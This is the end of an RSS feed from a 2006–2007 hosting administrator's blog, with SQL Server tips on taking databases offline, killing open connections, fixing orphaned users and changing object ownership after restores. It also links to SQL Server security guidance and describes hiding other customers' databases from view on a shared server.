				&lt;p&gt;Working for a hosting company one of the things I have to do every so often is restore customers database backups.&lt;/p&gt;&lt;p&gt;When there is an existing database alrerady in place and in use, you will not be able to do this while there are still active connections open, and you will therefore need to close those conenctions first.&lt;/p&gt;&lt;p&gt;With SQL 2000 this was easy, from enterprise manager you could choose &amp;quot;detach database&amp;quot;, and then clear the open connections, then cancel the detach, then restore your backup.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;As with many things, this is not so easy with SQL Server 2005 as the &amp;quot;SQL Server management Studio Express&amp;quot; doesn&amp;#39;t have this option, so here is how to do this with script.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;div class=&quot;code&quot;&gt;EXEC sp_dboption N&amp;#39;mydb&amp;#39;, N&amp;#39;offline&amp;#39;, N&amp;#39;true&amp;#39; &lt;br /&gt;or &lt;br /&gt;ALTER DATABASE [mydb] SET OFFLINE WITH ROLLBACK AFTER 30 SECONDS &lt;br /&gt;or &lt;br /&gt;ALTER DATABASE [mydb] SET OFFLINE WITH ROLLBACK IMMEDIATE&lt;/div&gt;&lt;p&gt;Using the alter database statement (SQL Server 2k and beyond) is the preferred method. The rollback after statement will force currently executing statements to rollback after N seconds. The default is to wait for all currently running transactions to complete and for the sessions to be terminated. Use the rollback immediate clause to rollback transactions immediately.&lt;br /&gt;After you restore your database, it will automatically come back online.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
				</description>
				
				<category>SQL Server</category>				
				
				<pubDate>Fri, 31 Aug 2007 12:34:00 --0100</pubDate>
				<guid>http://russ.michaels.me.uk/index.cfm/2007/8/31/SQL-SERVER-2005-Take-database-Offline-and-end-active-conenctions</guid>
				
			</item>
			
			<item>
				<title>SQL Server 2005 security and best practices</title>
				<link>http://russ.michaels.me.uk/index.cfm/2007/8/15/SQL-Server-2005-security-and-best-practices</link>
				<description>
				
				&lt;p&gt;Like me I bet a lot of you have started playing with SQL Server 2005 and found it to be a completely different beast than SQL Server 2000, especially if you are also getting to grips with the new management studio instead of Enterprise manager, which so far seems to be lacking a few features as far as I can tell ?Security is always an important factor when deploying databases and even more so in a shared environment, so here are a few useful articles to get you on track.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;http://go.microsoft.com/?linkid=7243606&quot; target=&quot;_blank&quot;&gt;SQL Server 2005 Security Overview for Database Administrators&lt;/a&gt;  &lt;br /&gt;This paper covers some of the most important new security features in SQL Server 2005. It tells you how, as an administrator, you can install SQL Server securely and keep it that way even as applications and users make use of the data stored within.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;http://go.microsoft.com/?linkid=7243607&quot; target=&quot;_blank&quot;&gt;Security Considerations for SQL Server&lt;/a&gt;  &lt;br /&gt;SQL Server 2005 includes a variety of highly precise, configurable security features that can empower administrators to implement defense-in-depth that is optimized for the specific security risks of their environment. Access guidance about password policy, surface-area configuration, credentials, authenticators, and more.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;http://go.microsoft.com/?linkid=7243608&quot; target=&quot;_blank&quot;&gt;Security Considerations for Databases and Database Applications &lt;/a&gt; &lt;br /&gt;The SQL Server 2005 Database Engine helps you protect data from unauthorized disclosure and tampering. Learn about highly granular authentication, authorization, and validation mechanisms; strong encryption; security context switching and impersonation; and integrated key management. &lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;http://go.microsoft.com/?linkid=7243609&quot; target=&quot;_blank&quot;&gt;SQL Server 2005 Security Best Practices: Operational and Administrative Tasks&lt;/a&gt;  &lt;br /&gt;This white paper covers some of the operational and administrative tasks associated with SQL Server 2005 security and lists best practices and operational and administrative tasks that will result in a more secure SQL Server system.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;http://go.microsoft.com/?linkid=7243610&quot; target=&quot;_blank&quot;&gt;Protect Sensitive Data Using Encryption in SQL Server 2005&lt;/a&gt;  &lt;br /&gt;SQL Server 2005 uses strong encryption to provide the best protection for data, a nearly inviolate barrier to exposure. Explore the encryption features in the core database engine of SQL Server 2005, and learn how they can be used to protect data stored there as well as how to allow user interaction with prtected data. Also discussed are the various keys used to protect both data and other keys within a database, and how to get information about encryption objects. &lt;/p&gt; 
				</description>
				
				<category>SQL Server</category>				
				
				<pubDate>Wed, 15 Aug 2007 14:46:00 --0100</pubDate>
				<guid>http://russ.michaels.me.uk/index.cfm/2007/8/15/SQL-Server-2005-security-and-best-practices</guid>
				
			</item>
			
			<item>
				<title>SQL Server Tips and Tricks</title>
				<link>http://russ.michaels.me.uk/index.cfm/2007/1/14/SQL-Server-Tips-and-Tricks</link>
				<description>
				
				&lt;p&gt;Below is my own collection of useful tips for SQL Server 2000. This covers most of the more &amp;quot;not common knowledge&amp;quot; issues I have to deal with quite regulalrly and which you may find yourself having to deal with at least once. I hope you might find this useful.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;b&gt;Restoring databases&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;When restoring a backup database from another server, you will have an orphan user and you need to link the database user to an SQL server login.&lt;/p&gt;  &lt;p&gt;The easiest way is to create the original login name on the SQL server, then restore the database backup.&lt;/p&gt;  &lt;p&gt;Now run this command against the database from query analyser.&lt;/p&gt;  &lt;p class=&quot;code&quot;&gt;&amp;nbsp;sp_change_users_login &amp;#39;auto_fix&amp;#39;, &amp;#39;Login&amp;#39;&lt;/p&gt;    &lt;p&gt;&lt;i&gt;&amp;nbsp;&lt;/i&gt;&lt;/p&gt;  &lt;p&gt;This will automatically associate the orphaned user with the specified Login.&lt;/p&gt;  &lt;p&gt;If you have multiple users in the database that each have their own login, you will need to associate each one like this.&lt;/p&gt;  &lt;p&gt;&amp;nbsp;&lt;/p&gt;  &lt;p class=&quot;code&quot;&gt;sp_change_users_login &amp;#39;update_one&amp;#39;, &amp;lsquo;user&amp;#39;, &amp;#39;Login&amp;#39;&lt;/p&gt;  &lt;p&gt;&lt;i&gt;&amp;nbsp;&lt;/i&gt;&lt;/p&gt;  &lt;p&gt;This links the specified &lt;i&gt;user&lt;/i&gt; in the current database to &lt;i&gt;login. login&lt;/i&gt; must already exist. &lt;i&gt;user&lt;/i&gt; and &lt;i&gt;login&lt;/i&gt; must be specified.&lt;/p&gt;  &lt;p&gt;&amp;nbsp;&lt;/p&gt;  &lt;p&gt;&lt;b&gt;Taking a DB offline&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;When taking a DB offline you may need to kill all open connections first, the below stored procedure will allow you to do this. Execute the stored procedure with:&amp;nbsp; &lt;/p&gt;&lt;p&gt;&lt;i&gt;Exec kill_all &amp;quot;database name&amp;quot;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;  &lt;p&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p&gt;&amp;nbsp;&lt;/p&gt;  &lt;div class=&quot;code&quot;&gt;&lt;p&gt;------------- copy below this line --------------&lt;/p&gt;  &lt;p&gt;CREATE procedure Kill_All&amp;nbsp;&amp;nbsp; &lt;/p&gt;  &lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; @dbname varchar(50)&amp;nbsp; &lt;/p&gt;  &lt;p&gt;as&amp;nbsp; &lt;/p&gt;  &lt;p&gt;Begin&amp;nbsp; &lt;/p&gt;  &lt;p&gt;&amp;nbsp;-- Declare all the relevant variables&lt;/p&gt;  &lt;p&gt;&amp;nbsp;declare @counter int,&amp;nbsp; &lt;/p&gt;  &lt;p&gt;&amp;nbsp;@spid int&amp;nbsp; &lt;/p&gt;  &lt;p&gt;&amp;nbsp;&lt;/p&gt;  &lt;p&gt;&amp;nbsp;-- Temp table to store all the connections&lt;/p&gt;  &lt;p&gt;&amp;nbsp;Create table #StoreConnections&amp;nbsp; &lt;/p&gt;  &lt;p&gt;&amp;nbsp;(&amp;nbsp; &lt;/p&gt;  &lt;p&gt;&amp;nbsp;id int identity(1,1),&amp;nbsp; &lt;/p&gt;  &lt;p&gt;&amp;nbsp;spid int,&amp;nbsp; &lt;/p&gt;  &lt;p&gt;&amp;nbsp;kpid int,&amp;nbsp; &lt;/p&gt;  &lt;p&gt;&amp;nbsp;dbid int&amp;nbsp; &lt;/p&gt;  &lt;p&gt;&amp;nbsp;)&amp;nbsp; &lt;/p&gt;  &lt;p&gt;&amp;nbsp;&amp;nbsp; &lt;/p&gt;  &lt;p&gt;&amp;nbsp;-- Insert all the connection SPIDs ...&lt;/p&gt;  &lt;p&gt;&amp;nbsp;Insert into #StoreConnections&amp;nbsp; &lt;/p&gt;  &lt;p&gt;&amp;nbsp;Select spid,kpid,dbid from master..sysprocesses where kpid = 0 and dbid = db_id(@dbname) and spid &amp;gt; 40&amp;nbsp; &lt;/p&gt;  &lt;p&gt;&amp;nbsp;&lt;/p&gt;  &lt;p&gt;&amp;nbsp;Set @counter = 1&amp;nbsp; &lt;/p&gt;  &lt;p&gt;&amp;nbsp;Set @spid = (Select spid from #StoreConnections where id = @counter)&amp;nbsp; &lt;/p&gt;  &lt;p&gt;&amp;nbsp;&lt;/p&gt;  &lt;p&gt;&amp;nbsp;-- Start killing all the SPIDs ...&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/p&gt;  &lt;p&gt;&amp;nbsp;While @spid &amp;lt;&amp;gt; &amp;#39;&amp;#39;&amp;nbsp;&amp;nbsp; &lt;/p&gt;  &lt;p&gt;&amp;nbsp;Begin&amp;nbsp; &lt;/p&gt;  &lt;p&gt;&amp;nbsp; Select @spid&amp;nbsp; &lt;/p&gt;  &lt;p&gt;&amp;nbsp; Exec (&amp;#39;Kill &amp;#39; + @spid)&amp;nbsp; &lt;/p&gt;  &lt;p&gt;&amp;nbsp; Set @counter = @counter + 1&amp;nbsp; &lt;/p&gt;  &lt;p&gt;&amp;nbsp; Set @spid = (Select spid from #StoreConnections where id = @counter)&amp;nbsp; &lt;/p&gt;  &lt;p&gt;&amp;nbsp;End&amp;nbsp; &lt;/p&gt;  &lt;p&gt;&amp;nbsp;&lt;/p&gt;  &lt;p&gt;&amp;nbsp;-- Cleanup activity.&amp;nbsp; &lt;/p&gt;  &lt;p&gt;&amp;nbsp;Drop table #StoreConnections&amp;nbsp; &lt;/p&gt;  &lt;p&gt;&amp;nbsp;&amp;nbsp; &lt;/p&gt;  &lt;p&gt;End&lt;/p&gt;  &lt;p&gt;--------------- copy above this line ------------&lt;/p&gt;&lt;/div&gt;  &lt;p&gt;&amp;nbsp;&lt;/p&gt;  &lt;p&gt;&lt;b&gt;Changing Object Ownership&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;&amp;nbsp;&lt;/p&gt;  &lt;p&gt;When restoring a database backup for a client, often their tables may be owned by the DBO and not their database user.&lt;/p&gt;  &lt;p&gt;The script below will change the owner of all tables to the specified &amp;#39;NewUserName&amp;#39;&lt;/p&gt;  &lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;div class=&quot;code&quot;&gt;  &lt;p&gt;DECLARE @currentObject nvarchar(517)&lt;/p&gt;  &lt;p&gt;DECLARE @qualifiedObject nvarchar(517)&lt;/p&gt;  &lt;p&gt;DECLARE @currentOwner varchar(50)&lt;/p&gt;  &lt;p&gt;DECLARE @newOwner varchar(50)&lt;/p&gt;  &lt;p&gt;&amp;nbsp;&lt;/p&gt;  &lt;p&gt;SET @currentOwner = &amp;#39;dbo&amp;#39;&lt;/p&gt;  &lt;p&gt;SET @newOwner = &amp;#39;NewUserName&amp;#39;&lt;/p&gt;  &lt;p&gt;&amp;nbsp;&lt;/p&gt;  &lt;p&gt;DECLARE alterOwnerCursor CURSOR FOR&lt;/p&gt;  &lt;p&gt;SELECT [name] FROM dbo.sysobjects &lt;/p&gt;  &lt;p&gt;WHERE xtype = &amp;#39;U&amp;#39; or xtype = &amp;#39;P&amp;#39;&lt;/p&gt;  &lt;p&gt;AND LEFT([name], 2) &amp;lt;&amp;gt; &amp;#39;dt&amp;#39;&lt;/p&gt;  &lt;p&gt;OPEN alterOwnerCursor&lt;/p&gt;  &lt;p&gt;FETCH NEXT FROM alterOwnerCursor INTO @currentObject&lt;/p&gt;  &lt;p&gt;WHILE @@FETCH_STATUS = 0&lt;/p&gt;  &lt;p&gt;BEGIN&lt;/p&gt;  &lt;p&gt;&amp;nbsp;&amp;nbsp; SET @qualifiedObject = CAST(@currentOwner as varchar) + &amp;#39;.&amp;#39; + CAST(@currentObject as varchar)&lt;/p&gt;  &lt;p&gt;&amp;nbsp;&amp;nbsp; EXEC sp_changeobjectowner @qualifiedObject, @newOwner&lt;/p&gt;  &lt;p&gt;&amp;nbsp;&amp;nbsp; FETCH NEXT FROM alterOwnerCursor INTO @currentObject&lt;/p&gt;  &lt;p&gt;END&lt;/p&gt;  &lt;p&gt;CLOSE alterOwnerCursor&lt;/p&gt;  &lt;p&gt;DEALLOCATE alterOwnerCursor&lt;/p&gt;   &lt;/div&gt;&lt;p&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;&lt;b&gt;Useful SQL Server Related links&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;&lt;br /&gt; &lt;a href=&quot;http://www.support.microsoft.com/?id=314546&quot; target=&quot;_blank&quot;&gt;http://www.support.microsoft.com/?id=314546&lt;/a&gt; &lt;br /&gt; Moving DB&amp;#39;s between Servers &lt;br /&gt; &lt;br /&gt; &lt;a href=&quot;http://www.support.microsoft.com/?id=224071&quot; target=&quot;_blank&quot;&gt;http://www.support.microsoft.com/?id=224071&lt;/a&gt; &lt;br /&gt; Moving SQL Server Databases to a New Location with Detach/Attach &lt;br /&gt; &lt;br /&gt; &lt;a href=&quot;http://support.microsoft.com/?id=221465&quot; target=&quot;_blank&quot;&gt;http://support.microsoft.com/?id=221465&lt;/a&gt; &lt;br /&gt; Using WITH MOVE in a Restore &lt;br /&gt; &lt;br /&gt; &lt;a href=&quot;http://www.support.microsoft.com/?id=246133&quot; target=&quot;_blank&quot;&gt;http://www.support.microsoft.com/?id=246133&lt;/a&gt; &lt;br /&gt; How To Transfer Logins and Passwords Between SQL Servers &lt;br /&gt; &lt;br /&gt; &lt;a href=&quot;http://www.support.microsoft.com/?id=298897&quot; target=&quot;_blank&quot;&gt;http://www.support.microsoft.com/?id=298897&lt;/a&gt; &lt;br /&gt; Mapping Logins &amp;amp; SIDs after a Restore &lt;br /&gt; &lt;br /&gt; &lt;a href=&quot;http://www.dbmaint.com/SyncSqlLogins.asp&quot; target=&quot;_blank&quot;&gt;http://www.dbmaint.com/SyncSqlLogins.asp&lt;/a&gt; &lt;br /&gt; Utility to map logins to users &lt;br /&gt; &lt;br /&gt; &lt;a href=&quot;http://www.support.microsoft.com/?id=168001&quot; target=&quot;_blank&quot;&gt;http://www.support.microsoft.com/?id=168001&lt;/a&gt; &lt;br /&gt; User Logon and/or Permission Errors After Restoring Dump &lt;br /&gt; &lt;br /&gt; &lt;a href=&quot;http://www.support.microsoft.com/?id=240872&quot; target=&quot;_blank&quot;&gt;http://www.support.microsoft.com/?id=240872&lt;/a&gt; &lt;br /&gt; How to Resolve Permission Issues When a Database Is Moved Between SQL Servers &lt;br /&gt; &lt;br /&gt; &lt;a href=&quot;http://www.sqlservercentral.com/scripts/scriptdetails.asp?scriptid=599&quot; target=&quot;_blank&quot;&gt;http://www.sqlservercentral.com/scripts/scriptdetails.asp?scriptid=599&lt;/a&gt; &lt;br /&gt; Restoring a .mdf &lt;br /&gt; &lt;br /&gt; &lt;a href=&quot;http://www.support.microsoft.com/?id=307775&quot; target=&quot;_blank&quot;&gt;http://www.support.microsoft.com/?id=307775&lt;/a&gt; &lt;br /&gt; Disaster Recovery Articles for SQL Server&lt;/p&gt;  &lt;p&gt;&lt;a href=&quot;http://www.dbmaint.com/SyncSqlLogins.asp&quot; target=&quot;_blank&quot;&gt;http://www.dbmaint.com/SyncSqlLogins.asp&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Sync SQL logins&lt;/p&gt; 
				</description>
				
				<category>SQL Server</category>				
				
				<pubDate>Sun, 14 Jan 2007 19:38:00 --0100</pubDate>
				<guid>http://russ.michaels.me.uk/index.cfm/2007/1/14/SQL-Server-Tips-and-Tricks</guid>
				
			</item>
			
			<item>
				<title>Restrict database view in Enterprise Manager</title>
				<link>http://russ.michaels.me.uk/index.cfm/2006/9/22/Restrict-database-view-in-Enterprise-Manager</link>
				<description>
				
				&lt;p&gt;&lt;strong&gt;PROBLEM&lt;/strong&gt;&lt;/p&gt;
When many databases exist in a default instance or in a named instance of Microsoft SQL Server, you may experience a slow response from SQL Server Enterprise Manager, specifically when you drill into the Databases folder. If the Databases folder contains more than a thousand databases, you could experience delays that are more than five minutes.
&lt;p&gt;
The other problem is the very fact that on a shared server any user can see all the other databases on the server via Enterprise manager, even if they cannot access them. &lt;br/&gt;
The reason this can be an issue is from a security perspective. A lot of clients will have their database username/password hard coded into their DSN, and their DSN will usually have the same name as the database, which means that anyone else hosted on the same ColdFusion server can access that database if they know the DSN, and any les sthan honest person may just try that after seeing the list of databases.&lt;br/&gt;
So you may want to restrict this so that a user can only see their own databases.
&lt;/p&gt;
&lt;p&gt;
Here is a link to a &lt;a href=&quot;http://support.microsoft.com/default.aspx/kb/889696?&quot;&gt;Microsoft KB article&lt;/a&gt; on how to resolve this issue.
&lt;/p&gt; 
				</description>
				
				<category>SQL Server</category>				
				
				<pubDate>Fri, 22 Sep 2006 17:41:00 --0100</pubDate>
				<guid>http://russ.michaels.me.uk/index.cfm/2006/9/22/Restrict-database-view-in-Enterprise-Manager</guid>
				
			</item>
			</channel></rss>